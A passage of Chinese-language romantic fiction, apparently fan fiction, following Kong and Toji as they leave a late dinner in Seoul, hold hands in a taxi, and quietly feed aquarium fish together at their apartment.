    “十一点了。”他说。“再不走我老婆要打电话了。”

    孔笑了一下。金哲洙抬手喊老板娘结账。

    最后一杯。金哲洙端起杯,“下次见。”

    三个杯子轻轻了碰一下。一口喝完。

    ——

    门口,“我送你们回警察署取车。”金哲洙说。

    “不用。”孔说。“——我打车。”

    金哲洙看孔,“也行。”没坚持。

    金哲洙站在自己车门旁边,“尾款下礼拜过去。”

    “行。”

    “账户跟之前那个一样?”

    “一样。”

    金哲洙抬手拍了一下孔的右上臂,跟上午朴课长拍的位置一样。

    “保重。”

    “你也是。”

    金哲洙看了甚尔一眼,蹩脚的日语,“——保重。”

    甚尔点点头。

    金哲洙开走了。

    ——

    孔时雨和甚尔站在店门口。

    十一月底的首尔,晚上十一点多,很冷。风有点湿——首尔的冬天会下雪——但今晚还没。

    甚尔用右手把外套拉链拉到最上面。

    孔站在他旁边,抬手打车。

    ——

    首尔的夜路。中央分隔带的银杏树在街灯下还能看见一些黄叶。十一月底大部分叶子已经落了,但有些枝条上还挂着,风过的时候它们会一片一片掉下来。

    司机是个五十多岁的男人,开着收音机,电台里在播一档夜间节目,主持人慢慢说话,背景音乐很轻。

    甚尔靠在后座,两人都没说话。

    过了几分钟,电台里的节目换了。

    主持人说了一段话——

    一首歌的前奏。

    吉他和钢琴,慢慢地铺开,一个男人的声音开始唱。

    甚尔抬起眼,他听过这一首。

    茨城海岸那天清晨在车里听过,孔单手开车的那一段公路。

    歌词他依然听不懂。但这次甚尔知道这首歌叫什么了。

    他看了一眼孔。

    孔在副驾,侧着脸看窗外,他的脸上什么都没有。

    ——

    过了元晓大桥,这次是回汝矣岛的方向。

    江上空,江北的灯还亮着,但少了。

    歌还在唱。

    一段。两段。副歌。

    甚尔的左手伸到自己膝盖上。

    过了大概十秒,他的左手挪到两人中间孔的右手旁边,碰了一下。

    孔没看。

    孔的右手翻过来,掌心朝上。

    甚尔的左手搁在孔的右手心里。

    孔的手指轻轻合拢。

    两人就这样握着,一直到出租车开过元晓大桥,开到汝矣岛,开进公寓楼下。

    ——

    司机停车,孔松开手付钱。

    电梯上十二楼,走廊很安静。

    玄关,浅木色的小托盘里,亮黄色和亮粉色的两个塑料戒指还在那里。

    孔把钥匙放进托盘,压在两个戒指旁边。

    甚尔脱鞋,把布包搁在玄关的柜子上。

    ——

    客厅昏暗,阳台外面是汉江,江北的灯大部分已经暗了。

    甚尔走到沙发坐下。

    孔走到厨房倒了两杯水,一杯放在茶几上甚尔面前,一杯自己拿着,靠在沙发扶手上。

    过了一会儿,甚尔放下水杯。

    “——孔。”

    孔看他。

    “你以前也穿那样的制服吗。”

    “——まあな。”(差不多吧)

    “稍微有点不一样。而且刑警一般都是便服来着。”

    甚尔点点头。

    过了几秒,“有照片吗?”

    “没有。”

    甚尔看着自己的水杯。

    “衣服还在吗?下次可以play一下。”

    “——没了。”孔短短笑了一下,“想玩的话不如你穿和服。”

    甚尔也笑了,唇角的疤歪歪的。

    “那算了。残念。”

    ——

    两人都安静下来。

    阳台外面的风轻轻刮过窗户玻璃,一声很轻的“嗡”,又消失。

    过了几秒,甚尔抬头。

    “——孔。”

    “嗯。”

    “我想喂鱼。”

    孔看他一眼,然后点点头。

    他站起来走到阳台,拉开玻璃门出去。

    甚尔走到鱼缸旁边,伸手按下鱼缸定时灯的开关,蓝光打开。

    鱼缸里的七条鱼慢慢从各自的位置游过来,三条蓝色、两条黄色、两条红色。

    甚尔伸手,右手从鱼缸旁边的小盒子里捏出一小撮饲料。然后他停了一下,把饲料从右手换到左手,几粒掉在地上。

    甚尔弯腰捻起来,放回鱼缸盖上的小盘子里。

    然后他用左手慢慢把饲料撒进鱼缸。饲料散开在水面上,鱼游过来,一颗一颗叼走。

    ——

    阳台上,孔在抽烟。隔着玻璃门他能看见甚尔在鱼缸前的背影。

    甚尔的左手伸进鱼缸盖的开口,撒饲料,动作很慢。

    蓝光打上去,那只手看上去只是一只普通的左手。

    孔深吸一口烟,吐出来。

    阳台外面,风刮过去,首尔的十一月底。

    客厅里,蓝光,鱼,甚尔。

    过了大概一分钟,甚尔撒完饲料。他没回过头看孔,继续站在鱼缸前,看那七条鱼吃东西。

    孔在阳台上把烟抽完,熄了。

    他拉开玻璃门进屋,走到鱼缸前,站在甚尔的身后。

    两人一起看那七条鱼。

    蓝光打在两个人的脸上。